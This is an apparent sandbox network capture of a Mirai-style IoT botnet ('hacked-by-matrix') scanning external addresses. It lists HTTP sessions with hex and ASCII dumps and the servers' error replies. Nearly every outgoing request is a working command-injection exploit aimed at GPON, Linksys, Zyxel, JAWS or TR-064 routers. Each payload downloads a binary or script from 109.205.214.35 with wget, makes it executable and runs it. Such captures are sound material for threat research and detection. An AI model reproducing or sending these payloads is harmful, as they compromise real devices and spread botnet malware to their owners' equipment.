XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
620	192.168.2.23	56108	66.242.144.69	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:09.578403950 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:26:12.654371023 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
621	192.168.2.23	36204	213.109.237.9	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:09.646418095 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:26:09.846535921 CET	388	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 07:09:53 GMT Server: DNVRS-Webs Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
622	192.168.2.23	60010	23.7.23.153	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:10.751815081 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:10.870965004 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:26:10 GMT Date: Thu, 21 Mar 2024 04:26:10 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 31 38 36 32 32 38 31 37 26 23 34 36 3b 31 37 31 30 39 39 35 31 37 30 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.18622817.1710995170.0</BODY></HTML>
Mar 21, 2024 05:26:11.518368006 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:26:10 GMT Date: Thu, 21 Mar 2024 04:26:10 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 31 38 36 32 32 38 31 37 26 23 34 36 3b 31 37 31 30 39 39 35 31 37 30 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.18622817.1710995170.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
623	192.168.2.23	33882	184.97.112.118	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:10.964919090 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
624	192.168.2.23	35140	34.43.23.196	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:11.080199957 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
625	192.168.2.23	37400	45.53.188.176	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:11.095602036 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
626	192.168.2.23	33916	184.97.112.118	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:11.147140026 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:12.110327959 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
627	192.168.2.23	51656	3.213.80.76	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:11.156117916 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:11.250541925 CET	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Thu, 21 Mar 2024 04:26:11 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
628	192.168.2.23	35150	34.43.23.196	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:11.195513964 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:11.791491985 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
629	192.168.2.23	56088	207.229.81.6	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:11.196834087 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:11.953710079 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:12.815491915 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:14.510958910 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:18.033519030 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:24.940577030 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:38.508701086 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:27:06.410795927 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
630	192.168.2.23	37412	45.53.188.176	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:11.241293907 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
631	192.168.2.23	59908	147.255.203.244	80

Timestamp	Bytes transferred	Direction	Data
